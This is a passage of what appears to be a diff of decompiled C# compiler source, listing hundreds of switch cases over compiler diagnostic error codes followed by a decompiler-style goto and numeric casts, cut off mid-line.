ErrorCode.ERR_ConstOutOfRange: + case ErrorCode.ERR_AmbigBinaryOps: + case ErrorCode.ERR_AmbigUnaryOp: + case ErrorCode.ERR_InAttrOnOutParam: + case ErrorCode.ERR_ValueCantBeNull: + case ErrorCode.ERR_NoExplicitBuiltinConv: + case ErrorCode.FTL_DebugEmitFailure: + case ErrorCode.ERR_BadVisReturnType: + case ErrorCode.ERR_BadVisParamType: + case ErrorCode.ERR_BadVisFieldType: + case ErrorCode.ERR_BadVisPropertyType: + case ErrorCode.ERR_BadVisIndexerReturn: + case ErrorCode.ERR_BadVisIndexerParam: + case ErrorCode.ERR_BadVisOpReturn: + case ErrorCode.ERR_BadVisOpParam: + case ErrorCode.ERR_BadVisDelegateReturn: + case ErrorCode.ERR_BadVisDelegateParam: + case ErrorCode.ERR_BadVisBaseClass: + case ErrorCode.ERR_BadVisBaseInterface: + case ErrorCode.ERR_EventNeedsBothAccessors: + case ErrorCode.ERR_EventNotDelegate: + case ErrorCode.ERR_InterfaceEventInitializer: + case ErrorCode.ERR_BadEventUsage: + case ErrorCode.ERR_ExplicitEventFieldImpl: + case ErrorCode.ERR_CantOverrideNonEvent: + case ErrorCode.ERR_AddRemoveMustHaveBody: + case ErrorCode.ERR_AbstractEventInitializer: + case ErrorCode.ERR_PossibleBadNegCast: + case ErrorCode.ERR_ReservedEnumerator: + case ErrorCode.ERR_AsMustHaveReferenceType: + case ErrorCode.WRN_LowercaseEllSuffix: + case ErrorCode.ERR_BadEventUsageNoField: + case ErrorCode.ERR_ConstraintOnlyAllowedOnGenericDecl: + case ErrorCode.ERR_TypeParamMustBeIdentifier: + case ErrorCode.ERR_MemberReserved: + case ErrorCode.ERR_DuplicateParamName: + case ErrorCode.ERR_DuplicateNameInNS: + case ErrorCode.ERR_DuplicateNameInClass: + case ErrorCode.ERR_NameNotInContext: + case ErrorCode.ERR_AmbigContext: + case ErrorCode.WRN_DuplicateUsing: + case ErrorCode.ERR_BadMemberFlag: + case ErrorCode.ERR_BadMemberProtection: + case ErrorCode.WRN_NewRequired: + case ErrorCode.WRN_NewNotRequired: + case ErrorCode.ERR_CircConstValue: + case ErrorCode.ERR_MemberAlreadyExists: + case ErrorCode.ERR_StaticNotVirtual: + case ErrorCode.ERR_OverrideNotNew: + case ErrorCode.WRN_NewOrOverrideExpected: + case ErrorCode.ERR_OverrideNotExpected: + case ErrorCode.ERR_NamespaceUnexpected: + case ErrorCode.ERR_NoSuchMember: + case ErrorCode.ERR_BadSKknown: + case ErrorCode.ERR_BadSKunknown: + case ErrorCode.ERR_ObjectRequired: + case ErrorCode.ERR_AmbigCall: + case ErrorCode.ERR_BadAccess: + case ErrorCode.ERR_MethDelegateMismatch: + case ErrorCode.ERR_RetObjectRequired: + case ErrorCode.ERR_RetNoObjectRequired: + case ErrorCode.ERR_LocalDuplicate: + case ErrorCode.ERR_AssgLvalueExpected: + case ErrorCode.ERR_StaticConstParam: + case ErrorCode.ERR_NotConstantExpression: + case ErrorCode.ERR_NotNullConstRefField: + case ErrorCode.ERR_LocalIllegallyOverrides: + case ErrorCode.ERR_BadUsingNamespace: + case ErrorCode.ERR_NoBreakOrCont: + case ErrorCode.ERR_DuplicateLabel: + case ErrorCode.ERR_NoConstructors: + case ErrorCode.ERR_NoNewAbstract: + case ErrorCode.ERR_ConstValueRequired: + case ErrorCode.ERR_CircularBase: + case ErrorCode.ERR_MethodNameExpected: + case ErrorCode.ERR_ConstantExpected: + case ErrorCode.ERR_V6SwitchGoverningTypeValueExpected: + case ErrorCode.ERR_DuplicateCaseLabel: + case ErrorCode.ERR_InvalidGotoCase: + case ErrorCode.ERR_PropertyLacksGet: + case ErrorCode.ERR_BadExceptionType: + case ErrorCode.ERR_BadEmptyThrow: + case ErrorCode.ERR_BadFinallyLeave: + case ErrorCode.ERR_LabelShadow: + case ErrorCode.ERR_LabelNotFound: + case ErrorCode.ERR_UnreachableCatch: + case ErrorCode.ERR_ReturnExpected: + case ErrorCode.WRN_UnreachableCode: + case ErrorCode.ERR_SwitchFallThrough: + case ErrorCode.WRN_UnreferencedLabel: + case ErrorCode.ERR_UseDefViolation: + case ErrorCode.WRN_UnreferencedVar: + case ErrorCode.ERR_UseDefViolationField: + case ErrorCode.ERR_UnassignedThisUnsupportedVersion: + case ErrorCode.ERR_AmbigQM: + case ErrorCode.ERR_InvalidQM: + case ErrorCode.ERR_NoBaseClass: + case ErrorCode.ERR_BaseIllegal: + case ErrorCode.ERR_ObjectProhibited: + case ErrorCode.ERR_ParamUnassigned: + case ErrorCode.ERR_InvalidArray: + case ErrorCode.ERR_ExternHasBody: + case ErrorCode.ERR_AbstractAndExtern: + case ErrorCode.ERR_BadAttributeParamType: + case ErrorCode.ERR_BadAttributeArgument: + case ErrorCode.WRN_IsAlwaysTrue: + case ErrorCode.WRN_IsAlwaysFalse: + case ErrorCode.ERR_LockNeedsReference: + case ErrorCode.ERR_NullNotValid: + case ErrorCode.ERR_UseDefViolationThisUnsupportedVersion: + case ErrorCode.ERR_ArgsInvalid: + case ErrorCode.ERR_AssgReadonly: + case ErrorCode.ERR_RefReadonly: + case ErrorCode.ERR_PtrExpected: + case ErrorCode.ERR_PtrIndexSingle: + case ErrorCode.WRN_ByRefNonAgileField: + case ErrorCode.ERR_AssgReadonlyStatic: + case ErrorCode.ERR_RefReadonlyStatic: + case ErrorCode.ERR_AssgReadonlyProp: + case ErrorCode.ERR_IllegalStatement: + case ErrorCode.ERR_BadGetEnumerator: + case ErrorCode.ERR_AbstractBaseCall: + case ErrorCode.ERR_RefProperty: + case ErrorCode.ERR_ManagedAddr: + case ErrorCode.ERR_BadFixedInitType: + case ErrorCode.ERR_FixedMustInit: + case ErrorCode.ERR_InvalidAddrOp: + case ErrorCode.ERR_FixedNeeded: + case ErrorCode.ERR_FixedNotNeeded: + case ErrorCode.ERR_UnsafeNeeded: + case ErrorCode.ERR_OpTFRetType: + case ErrorCode.ERR_OperatorNeedsMatch: + case ErrorCode.ERR_BadBoolOp: + case ErrorCode.ERR_MustHaveOpTF: + case ErrorCode.WRN_UnreferencedVarAssg: + case ErrorCode.ERR_CheckedOverflow: + case ErrorCode.ERR_ConstOutOfRangeChecked: + case ErrorCode.ERR_BadVarargs: + case ErrorCode.ERR_ParamsMustBeArray: + case ErrorCode.ERR_IllegalArglist: + case ErrorCode.ERR_IllegalUnsafe: + case ErrorCode.ERR_AmbigMember: + case ErrorCode.ERR_BadForeachDecl: + case ErrorCode.ERR_ParamsLast: + case ErrorCode.ERR_SizeofUnsafe: + case ErrorCode.ERR_DottedTypeNameNotFoundInNS: + case ErrorCode.ERR_FieldInitRefNonstatic: + case ErrorCode.ERR_SealedNonOverride: + case ErrorCode.ERR_CantOverrideSealed: + case ErrorCode.ERR_VoidError: + case ErrorCode.ERR_ConditionalOnOverride: + case ErrorCode.ERR_PointerInAsOrIs: + case ErrorCode.ERR_CallingFinalizeDeprecated: + case ErrorCode.ERR_SingleTypeNameNotFound: + case ErrorCode.ERR_NegativeStackAllocSize: + case ErrorCode.ERR_NegativeArraySize: + case ErrorCode.ERR_OverrideFinalizeDeprecated: + case ErrorCode.ERR_CallingBaseFinalizeDeprecated: + case ErrorCode.WRN_NegativeArrayIndex: + case ErrorCode.WRN_BadRefCompareLeft: + case ErrorCode.WRN_BadRefCompareRight: + case ErrorCode.ERR_BadCastInFixed: + case ErrorCode.ERR_StackallocInCatchFinally: + case ErrorCode.ERR_VarargsLast: + case ErrorCode.ERR_MissingPartial: + case ErrorCode.ERR_PartialTypeKindConflict: + case ErrorCode.ERR_PartialModifierConflict: + case ErrorCode.ERR_PartialMultipleBases: + case ErrorCode.ERR_PartialWrongTypeParams: + case ErrorCode.ERR_PartialWrongConstraints: + case ErrorCode.ERR_NoImplicitConvCast: + case ErrorCode.ERR_PartialMisplaced: + case ErrorCode.ERR_ImportedCircularBase: + case ErrorCode.ERR_UseDefViolationOut: + case ErrorCode.ERR_ArraySizeInDeclaration: + case ErrorCode.ERR_InaccessibleGetter: + case ErrorCode.ERR_InaccessibleSetter: + case ErrorCode.ERR_InvalidPropertyAccessMod: + case ErrorCode.ERR_DuplicatePropertyAccessMods: + case ErrorCode.ERR_AccessModMissingAccessor: + case ErrorCode.ERR_UnimplementedInterfaceAccessor: + case ErrorCode.WRN_PatternIsAmbiguous: + case ErrorCode.WRN_PatternNotPublicOrNotInstance: + case ErrorCode.WRN_PatternBadSignature: + case ErrorCode.ERR_FriendRefNotEqualToThis: + case ErrorCode.WRN_SequentialOnPartialClass: + case ErrorCode.ERR_BadConstType: + case ErrorCode.ERR_NoNewTyvar: + case ErrorCode.ERR_BadArity: + case ErrorCode.ERR_BadTypeArgument: + case ErrorCode.ERR_TypeArgsNotAllowed: + case ErrorCode.ERR_HasNoTypeVars: + case ErrorCode.ERR_NewConstraintNotSatisfied: + case ErrorCode.ERR_GenericConstraintNotSatisfiedRefType: + case ErrorCode.ERR_GenericConstraintNotSatisfiedNullableEnum: + case ErrorCode.ERR_GenericConstraintNotSatisfiedNullableInterface: + case ErrorCode.ERR_GenericConstraintNotSatisfiedTyVar: + case ErrorCode.ERR_GenericConstraintNotSatisfiedValType: + case ErrorCode.ERR_DuplicateGeneratedName: + case ErrorCode.ERR_GlobalSingleTypeNameNotFound: + case ErrorCode.ERR_NewBoundMustBeLast: + case ErrorCode.ERR_TypeVarCantBeNull: + case ErrorCode.ERR_DuplicateBound: + case ErrorCode.ERR_ClassBoundNotFirst: + case ErrorCode.ERR_BadRetType: + case ErrorCode.ERR_DuplicateConstraintClause: + case ErrorCode.ERR_CantInferMethTypeArgs: + case ErrorCode.ERR_LocalSameNameAsTypeParam: + case ErrorCode.ERR_AsWithTypeVar: + case ErrorCode.ERR_BadIndexerNameAttr: + case ErrorCode.ERR_AttrArgWithTypeVars: + case ErrorCode.ERR_NewTyvarWithArgs: + case ErrorCode.ERR_AbstractSealedStatic: + case ErrorCode.WRN_AmbiguousXMLReference: + case ErrorCode.WRN_VolatileByRef: + case ErrorCode.ERR_ComImportWithImpl: + case ErrorCode.ERR_ComImportWithBase: + case ErrorCode.ERR_ImplBadConstraints: + case ErrorCode.ERR_DottedTypeNameNotFoundInAgg: + case ErrorCode.ERR_MethGrpToNonDel: + case ErrorCode.ERR_BadExternAlias: + case ErrorCode.ERR_ColColWithTypeAlias: + case ErrorCode.ERR_AliasNotFound: + case ErrorCode.ERR_SameFullNameAggAgg: + case ErrorCode.ERR_SameFullNameNsAgg: + case ErrorCode.WRN_SameFullNameThisNsAgg: + case ErrorCode.WRN_SameFullNameThisAggAgg: + case ErrorCode.WRN_SameFullNameThisAggNs: + case ErrorCode.ERR_SameFullNameThisAggThisNs: + case ErrorCode.ERR_ExternAfterElements: + case ErrorCode.WRN_GlobalAliasDefn: + case ErrorCode.ERR_SealedStaticClass: + case ErrorCode.ERR_PrivateAbstractAccessor: + case ErrorCode.ERR_ValueExpected: + case ErrorCode.ERR_UnboxNotLValue: + case ErrorCode.ERR_AnonMethGrpInForEach: + case ErrorCode.ERR_BadIncDecRetType: + case ErrorCode.ERR_TypeConstraintsMustBeUniqueAndFirst: + case ErrorCode.ERR_RefValBoundWithClass: + case ErrorCode.ERR_NewBoundWithVal: + case ErrorCode.ERR_RefConstraintNotSatisfied: + case ErrorCode.ERR_ValConstraintNotSatisfied: + case ErrorCode.ERR_CircularConstraint: + case ErrorCode.ERR_BaseConstraintConflict: + case ErrorCode.ERR_ConWithValCon: + case ErrorCode.ERR_AmbigUDConv: + case ErrorCode.WRN_AlwaysNull: + case ErrorCode.ERR_OverrideWithConstraints: + case ErrorCode.ERR_AmbigOverride: + case ErrorCode.ERR_DecConstError: + case ErrorCode.WRN_CmpAlwaysFalse: + case ErrorCode.WRN_FinalizeMethod: + case ErrorCode.ERR_ExplicitImplParams: + case ErrorCode.WRN_GotoCaseShouldConvert: + case ErrorCode.ERR_MethodImplementingAccessor: + case ErrorCode.WRN_NubExprIsConstBool: + case ErrorCode.WRN_ExplicitImplCollision: + case ErrorCode.ERR_AbstractHasBody: + case ErrorCode.ERR_ConcreteMissingBody: + case ErrorCode.ERR_AbstractAndSealed: + case ErrorCode.ERR_AbstractNotVirtual: + case ErrorCode.ERR_StaticConstant: + case ErrorCode.ERR_CantOverrideNonFunction: + case ErrorCode.ERR_CantOverrideNonVirtual: + case ErrorCode.ERR_CantChangeAccessOnOverride: + case ErrorCode.ERR_CantChangeReturnTypeOnOverride: + case ErrorCode.ERR_CantDeriveFromSealedType: + case ErrorCode.ERR_AbstractInConcreteClass: + case ErrorCode.ERR_StaticConstructorWithExplicitConstructorCall: + case ErrorCode.ERR_StaticConstructorWithAccessModifiers: + case ErrorCode.ERR_RecursiveConstructorCall: + case ErrorCode.ERR_ObjectCallingBaseConstructor: + case ErrorCode.ERR_StructWithBaseConstructorCall: + case ErrorCode.ERR_StructLayoutCycle: + case ErrorCode.ERR_InterfacesCantContainFields: + case ErrorCode.ERR_InterfacesCantContainConstructors: + case ErrorCode.ERR_NonInterfaceInInterfaceList: + case ErrorCode.ERR_DuplicateInterfaceInBaseList: + case ErrorCode.ERR_CycleInInterfaceInheritance: + case ErrorCode.ERR_HidingAbstractMethod: + case ErrorCode.ERR_UnimplementedAbstractMethod: + case ErrorCode.ERR_UnimplementedInterfaceMember: + case ErrorCode.ERR_ObjectCantHaveBases: + case ErrorCode.ERR_ExplicitInterfaceImplementationNotInterface: + case ErrorCode.ERR_InterfaceMemberNotFound: + case ErrorCode.ERR_ClassDoesntImplementInterface: + case ErrorCode.ERR_ExplicitInterfaceImplementationInNonClassOrStruct: + case ErrorCode.ERR_MemberNameSameAsType: + case ErrorCode.ERR_EnumeratorOverflow: + case ErrorCode.ERR_CantOverrideNonProperty: + case ErrorCode.ERR_NoGetToOverride: + case ErrorCode.ERR_NoSetToOverride: + case ErrorCode.ERR_PropertyCantHaveVoidType: + case ErrorCode.ERR_PropertyWithNoAccessors: + case ErrorCode.ERR_NewVirtualInSealed: + case ErrorCode.ERR_ExplicitPropertyAddingAccessor: + case ErrorCode.ERR_ExplicitPropertyMissingAccessor: + case ErrorCode.ERR_ConversionWithInterface: + case ErrorCode.ERR_ConversionWithBase: + case ErrorCode.ERR_ConversionWithDerived: + case ErrorCode.ERR_IdentityConversion: + case ErrorCode.ERR_ConversionNotInvolvingContainedType: + case ErrorCode.ERR_DuplicateConversionInClass: + case ErrorCode.ERR_OperatorsMustBeStatic: + case ErrorCode.ERR_BadIncDecSignature: + case ErrorCode.ERR_BadUnaryOperatorSignature: + case ErrorCode.ERR_BadBinaryOperatorSignature: + case ErrorCode.ERR_BadShiftOperatorSignature: + case ErrorCode.ERR_InterfacesCantContainConversionOrEqualityOperators: + case ErrorCode.ERR_CantOverrideBogusMethod: + case ErrorCode.ERR_CantCallSpecialMethod: + case ErrorCode.ERR_BadTypeReference: + case ErrorCode.ERR_BadDestructorName: + case ErrorCode.ERR_OnlyClassesCanContainDestructors: + case ErrorCode.ERR_ConflictAliasAndMember: + case ErrorCode.ERR_ConditionalOnSpecialMethod: + case ErrorCode.ERR_ConditionalMustReturnVoid: + case ErrorCode.ERR_DuplicateAttribute: + case ErrorCode.ERR_ConditionalOnInterfaceMethod: + case ErrorCode.ERR_OperatorCantReturnVoid: + case ErrorCode.ERR_InvalidAttributeArgument: + case ErrorCode.ERR_AttributeOnBadSymbolType: + case ErrorCode.ERR_FloatOverflow: + case ErrorCode.ERR_InvalidReal: + case ErrorCode.ERR_ComImportWithoutUuidAttribute: + case ErrorCode.ERR_InvalidNamedArgument: + case ErrorCode.ERR_DllImportOnInvalidMethod: + case ErrorCode.ERR_FieldCantBeRefAny: + case ErrorCode.ERR_ArrayElementCantBeRefAny: + case ErrorCode.WRN_DeprecatedSymbol: + case ErrorCode.ERR_NotAnAttributeClass: + case ErrorCode.ERR_BadNamedAttributeArgument: + case ErrorCode.WRN_DeprecatedSymbolStr: + case ErrorCode.ERR_DeprecatedSymbolStr: + case ErrorCode.ERR_IndexerCantHaveVoidType: + case ErrorCode.ERR_VirtualPrivate: + case ErrorCode.ERR_ArrayInitToNonArrayType: + case ErrorCode.ERR_ArrayInitInBadPlace: + case ErrorCode.ERR_MissingStructOffset: + case ErrorCode.WRN_ExternMethodNoImplementation: + case ErrorCode.WRN_ProtectedInSealed: + case ErrorCode.ERR_InterfaceImplementedByConditional: + case ErrorCode.ERR_InterfaceImplementedImplicitlyByVariadic: + case ErrorCode.ERR_IllegalRefParam: + case ErrorCode.ERR_BadArgumentToAttribute: + case ErrorCode.ERR_StructOffsetOnBadStruct: + case ErrorCode.ERR_StructOffsetOnBadField: + case ErrorCode.ERR_AttributeUsageOnNonAttributeClass: + case ErrorCode.WRN_PossibleMistakenNullStatement: + case ErrorCode.ERR_DuplicateNamedAttributeArgument: + case ErrorCode.ERR_DeriveFromEnumOrValueType: + case ErrorCode.ERR_DefaultMemberOnIndexedType: + case ErrorCode.ERR_BogusType: + case ErrorCode.ERR_CStyleArray: + case ErrorCode.WRN_VacuousIntegralComp: + case ErrorCode.ERR_AbstractAttributeClass: + case ErrorCode.ERR_BadNamedAttributeArgumentType: + case ErrorCode.WRN_AttributeLocationOnBadDeclaration: + case ErrorCode.WRN_InvalidAttributeLocation: + case ErrorCode.WRN_EqualsWithoutGetHashCode: + case ErrorCode.WRN_EqualityOpWithoutEquals: + case ErrorCode.WRN_EqualityOpWithoutGetHashCode: + case ErrorCode.ERR_OutAttrOnRefParam: + case ErrorCode.ERR_OverloadRefKind: + case ErrorCode.ERR_LiteralDoubleCast: + case ErrorCode.WRN_IncorrectBooleanAssg: + case ErrorCode.ERR_ProtectedInStruct: + case ErrorCode.ERR_InconsistentIndexerNames: + case ErrorCode.ERR_ComImportWithUserCtor: + case ErrorCode.ERR_FieldCantHaveVoidType: + case ErrorCode.WRN_NonObsoleteOverridingObsolete: + case ErrorCode.ERR_SystemVoid: + case ErrorCode.ERR_ExplicitParamArray: + case ErrorCode.WRN_BitwiseOrSignExtend: + case ErrorCode.ERR_VolatileStruct: + case ErrorCode.ERR_VolatileAndReadonly: + case ErrorCode.ERR_AbstractField: + case ErrorCode.ERR_BogusExplicitImpl: + case ErrorCode.ERR_ExplicitMethodImplAccessor: + case ErrorCode.WRN_CoClassWithoutComImport: + case ErrorCode.ERR_ConditionalWithOutParam: + case ErrorCode.ERR_AccessorImplementingMethod: + case ErrorCode.ERR_AliasQualAsExpression: + case ErrorCode.ERR_DerivingFromATyVar: + case ErrorCode.ERR_DuplicateTypeParameter: + case ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter: + case ErrorCode.ERR_TypeVariableSameAsParent: + case ErrorCode.ERR_UnifyingInterfaceInstantiations: + case ErrorCode.ERR_TyVarNotFoundInConstraint: + case ErrorCode.ERR_BadBoundType: + case ErrorCode.ERR_SpecialTypeAsBound: + case ErrorCode.ERR_BadVisBound: + case ErrorCode.ERR_LookupInTypeVariable: + case ErrorCode.ERR_BadConstraintType: + case ErrorCode.ERR_InstanceMemberInStaticClass: + case ErrorCode.ERR_StaticBaseClass: + case ErrorCode.ERR_ConstructorInStaticClass: + case ErrorCode.ERR_DestructorInStaticClass: + case ErrorCode.ERR_InstantiatingStaticClass: + case ErrorCode.ERR_StaticDerivedFromNonObject: + case ErrorCode.ERR_StaticClassInterfaceImpl: + case ErrorCode.ERR_OperatorInStaticClass: + case ErrorCode.ERR_ConvertToStaticClass: + case ErrorCode.ERR_ConstraintIsStaticClass: + case ErrorCode.ERR_GenericArgIsStaticClass: + case ErrorCode.ERR_ArrayOfStaticClass: + case ErrorCode.ERR_IndexerInStaticClass: + case ErrorCode.ERR_ParameterIsStaticClass: + case ErrorCode.ERR_ReturnTypeIsStaticClass: + case ErrorCode.ERR_VarDeclIsStaticClass: + case ErrorCode.ERR_BadEmptyThrowInFinally: + case ErrorCode.ERR_InvalidSpecifier: + case ErrorCode.WRN_AssignmentToLockOrDispose: + case ErrorCode.ERR_ForwardedTypeInThisAssembly: + case ErrorCode.ERR_ForwardedTypeIsNested: + case ErrorCode.ERR_CycleInTypeForwarder: + case ErrorCode.ERR_AssemblyNameOnNonModule: + case ErrorCode.ERR_InvalidFwdType: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberStatic: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberNotPublic: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongReturnType: + case ErrorCode.ERR_DuplicateTypeForwarder: + case ErrorCode.ERR_ExpectedSelectOrGroup: + case ErrorCode.ERR_ExpectedContextualKeywordOn: + case ErrorCode.ERR_ExpectedContextualKeywordEquals: + case ErrorCode.ERR_ExpectedContextualKeywordBy: + case ErrorCode.ERR_InvalidAnonymousTypeMemberDeclarator: + case ErrorCode.ERR_InvalidInitializerElementInitializer: + case ErrorCode.ERR_InconsistentLambdaParameterUsage: + case ErrorCode.ERR_PartialMethodInvalidModifier: + case ErrorCode.ERR_PartialMethodOnlyInPartialClass: + case ErrorCode.ERR_PartialMethodNotExplicit: + case ErrorCode.ERR_PartialMethodExtensionDifference: + case ErrorCode.ERR_PartialMethodOnlyOneLatent: + case ErrorCode.ERR_PartialMethodOnlyOneActual: + case ErrorCode.ERR_PartialMethodParamsDifference: + case ErrorCode.ERR_PartialMethodMustHaveLatent: + case ErrorCode.ERR_PartialMethodInconsistentConstraints: + case ErrorCode.ERR_PartialMethodToDelegate: + case ErrorCode.ERR_PartialMethodStaticDifference: + case ErrorCode.ERR_PartialMethodUnsafeDifference: + case ErrorCode.ERR_PartialMethodInExpressionTree: + case ErrorCode.ERR_ExplicitImplCollisionOnRefOut: + case ErrorCode.ERR_IndirectRecursiveConstructorCall: + case ErrorCode.WRN_ObsoleteOverridingNonObsolete: + case ErrorCode.WRN_DebugFullNameTooLong: + case ErrorCode.ERR_ImplicitlyTypedVariableAssignedBadValue: + case ErrorCode.ERR_ImplicitlyTypedVariableWithNoInitializer: + case ErrorCode.ERR_ImplicitlyTypedVariableMultipleDeclarator: + case ErrorCode.ERR_ImplicitlyTypedVariableAssignedArrayInitializer: + case ErrorCode.ERR_ImplicitlyTypedLocalCannotBeFixed: + case ErrorCode.ERR_ImplicitlyTypedVariableCannotBeConst: + case ErrorCode.WRN_ExternCtorNoImplementation: + case ErrorCode.ERR_TypeVarNotFound: + case ErrorCode.ERR_ImplicitlyTypedArrayNoBestType: + case ErrorCode.ERR_AnonymousTypePropertyAssignedBadValue: + case ErrorCode.ERR_ExpressionTreeContainsBaseAccess: + case ErrorCode.ERR_ExpressionTreeContainsAssignment: + case ErrorCode.ERR_AnonymousTypeDuplicatePropertyName: + case ErrorCode.ERR_StatementLambdaToExpressionTree: + case ErrorCode.ERR_ExpressionTreeMustHaveDelegate: + case ErrorCode.ERR_AnonymousTypeNotAvailable: + case ErrorCode.ERR_LambdaInIsAs: + case ErrorCode.ERR_ExpressionTreeContainsMultiDimensionalArrayInitializer: + case ErrorCode.ERR_MissingArgument: + case ErrorCode.ERR_VariableUsedBeforeDeclaration: + case ErrorCode.ERR_UnassignedThisAutoPropertyUnsupportedVersion: + case ErrorCode.ERR_VariableUsedBeforeDeclarationAndHidesField: + case ErrorCode.ERR_ExpressionTreeContainsBadCoalesce: + case ErrorCode.ERR_ArrayInitializerExpected: + case ErrorCode.ERR_ArrayInitializerIncorrectLength: + case ErrorCode.ERR_ExpressionTreeContainsNamedArgument: + case ErrorCode.ERR_ExpressionTreeContainsOptionalArgument: + case ErrorCode.ERR_ExpressionTreeContainsIndexedProperty: + case ErrorCode.ERR_IndexedPropertyRequiresParams: + case ErrorCode.ERR_IndexedPropertyMustHaveAllOptionalParams: + case ErrorCode.ERR_IdentifierExpected: + case ErrorCode.ERR_SemicolonExpected: + case ErrorCode.ERR_SyntaxError: + case ErrorCode.ERR_DuplicateModifier: + case ErrorCode.ERR_DuplicateAccessor: + case ErrorCode.ERR_IntegralTypeExpected: + case ErrorCode.ERR_IllegalEscape: + case ErrorCode.ERR_NewlineInConst: + case ErrorCode.ERR_EmptyCharConst: + case ErrorCode.ERR_TooManyCharsInConst: + case ErrorCode.ERR_InvalidNumber: + case ErrorCode.ERR_GetOrSetExpected: + case ErrorCode.ERR_ClassTypeExpected: + case ErrorCode.ERR_NamedArgumentExpected: + case ErrorCode.ERR_TooManyCatches: + case ErrorCode.ERR_ThisOrBaseExpected: + case ErrorCode.ERR_OvlUnaryOperatorExpected: + case ErrorCode.ERR_OvlBinaryOperatorExpected: + case ErrorCode.ERR_IntOverflow: + case ErrorCode.ERR_EOFExpected: + case ErrorCode.ERR_BadEmbeddedStmt: + case ErrorCode.ERR_PPDirectiveExpected: + case ErrorCode.ERR_EndOfPPLineExpected: + case ErrorCode.ERR_CloseParenExpected: + case ErrorCode.ERR_EndifDirectiveExpected: + case ErrorCode.ERR_UnexpectedDirective: + case ErrorCode.ERR_ErrorDirective: + case ErrorCode.WRN_WarningDirective: + case ErrorCode.ERR_TypeExpected: + case ErrorCode.ERR_PPDefFollowsToken: + case ErrorCode.ERR_OpenEndedComment: + case ErrorCode.ERR_OvlOperatorExpected: + case ErrorCode.ERR_EndRegionDirectiveExpected: + case ErrorCode.ERR_UnterminatedStringLit: + case ErrorCode.ERR_BadDirectivePlacement: + case ErrorCode.ERR_IdentifierExpectedKW: + case ErrorCode.ERR_SemiOrLBraceExpected: + case ErrorCode.ERR_MultiTypeInDeclaration: + case ErrorCode.ERR_AddOrRemoveExpected: + case ErrorCode.ERR_UnexpectedCharacter: + case ErrorCode.ERR_ProtectedInStatic: + case ErrorCode.WRN_UnreachableGeneralCatch: + case ErrorCode.ERR_IncrementLvalueExpected: + case ErrorCode.ERR_NoSuchMemberOrExtension: + case ErrorCode.WRN_DeprecatedCollectionInitAddStr: + case ErrorCode.ERR_DeprecatedCollectionInitAddStr: + case ErrorCode.WRN_DeprecatedCollectionInitAdd: + case ErrorCode.ERR_DefaultValueNotAllowed: + case ErrorCode.WRN_DefaultValueForUnconsumedLocation: + case ErrorCode.ERR_PartialWrongTypeParamsVariance: + case ErrorCode.ERR_GlobalSingleTypeNameNotFoundFwd: + case ErrorCode.ERR_DottedTypeNameNotFoundInNSFwd: + case ErrorCode.ERR_SingleTypeNameNotFoundFwd: + case ErrorCode.WRN_IdentifierOrNumericLiteralExpected: + case ErrorCode.ERR_UnexpectedToken: + case ErrorCode.ERR_BadThisParam: + case ErrorCode.ERR_BadTypeforThis: + case ErrorCode.ERR_BadParamModThis: + case ErrorCode.ERR_BadExtensionMeth: + case ErrorCode.ERR_BadExtensionAgg: + case ErrorCode.ERR_DupParamMod: + case ErrorCode.ERR_ExtensionMethodsDecl: + case ErrorCode.ERR_ExtensionAttrNotFound: + case ErrorCode.ERR_ExplicitExtension: + case ErrorCode.ERR_ValueTypeExtDelegate: + goto IL_2ff8; + case (ErrorCode)0: + case (ErrorCode)1: + case (ErrorCode)2: + case (ErrorCode)3: + case (ErrorCode)4: + case (ErrorCode)5: + case (ErrorCode)7: + case (ErrorCode)8: + case (ErrorCode)10: + case (ErrorCode)11: + case (ErrorCode)13: + case (ErrorCode)14: + case (ErrorCode)15: + case (ErrorCode)18: + case (ErrorCode)24: + case (ErrorCode)25: + case (ErrorCode)32: + case (ErrorCode)33: + case (ErrorCode)38: + case (ErrorCode)40: + case (ErrorCode)42: + case (ErrorCode)43: + case (ErrorCode)44: + case (ErrorCode)45: + case (ErrorCode)46: + case (ErrorCode)47: + case (ErrorCode)48: + case (ErrorCode)49: + case (ErrorCode)62: + case (ErrorCode)63: + case (ErrorCode)64: + case (ErrorCode)69: + case (ErrorCode)83: + case (ErrorCode)84: + case (ErrorCode)85: + case (ErrorCode)86: + case (ErrorCode)87: + case (ErrorCode)88: + case (ErrorCode)89: + case (ErrorCode)90: + case (ErrorCode)91: + case (ErrorCode)92: + case (ErrorCode)93: + case (ErrorCode)94: + case (ErrorCode)95: + case (ErrorCode)96: + case (ErrorCode)97: + case (ErrorCode)98: + case (ErrorCode)99: + case (ErrorCode)124: + case (ErrorCode)125: + case (ErrorCode)129: + case (ErrorCode)130: + case (ErrorCode)135: + case (ErrorCode)137: + case (ErrorCode)141: + case (ErrorCode)142: + case (ErrorCode)147: + case (ErrorCode)166: + case (ErrorCode)167: + case (ErrorCode)187: + case (ErrorCode)189: + case (ErrorCode)194: + case (ErrorCode)195: + case (ErrorCode)203: + case (ErrorCode)207: + case (ErrorCode)222: + case (ErrorCode)223: + case (ErrorCode)228: + case (ErrorCode)232: + case (ErrorCode)235: + case (ErrorCode)237: + case (ErrorCode)240: + case (ErrorCode)241: + case (ErrorCode)256: + case (ErrorCode)258: + case (ErrorCode)259: + case (ErrorCode)275: + case (ErrorCode)284: + case (ErrorCode)285: + case (ErrorCode)286: + case (ErrorCode)287: + case (ErrorCode)288: + case (ErrorCode)289: + case (ErrorCode)290: + case (ErrorCode)291: + case (ErrorCode)292: + case (ErrorCode)293: + case (ErrorCode)294: + case (ErrorCode)295: + case (ErrorCode)296: + case (ErrorCode)297: + case (ErrorCode)298: + case (ErrorCode)299: + case (ErrorCode)300: + case (ErrorCode)301: + case (ErrorCode)302: + case (ErrorCode)303: + case (ErrorCode)309: + case (ErrorCode)317: + case (ErrorCode)318: + case (ErrorCode)319: + case (ErrorCode)320: + case (ErrorCode)321: + case (ErrorCode)322: + case (ErrorCode)323: + case (ErrorCode)324: + case (ErrorCode)325: + case (ErrorCode)326: + case (ErrorCode)327: + case (ErrorCode)328: + case (ErrorCode)329: + case (ErrorCode)330: + case (ErrorCode)331: + case (ErrorCode)332: + case (ErrorCode)333: + case (ErrorCode)334: + case (ErrorCode)335: + case (ErrorCode)336: + case (ErrorCode)337: + case (ErrorCode)338: + case (ErrorCode)339: + case (ErrorCode)340: + case 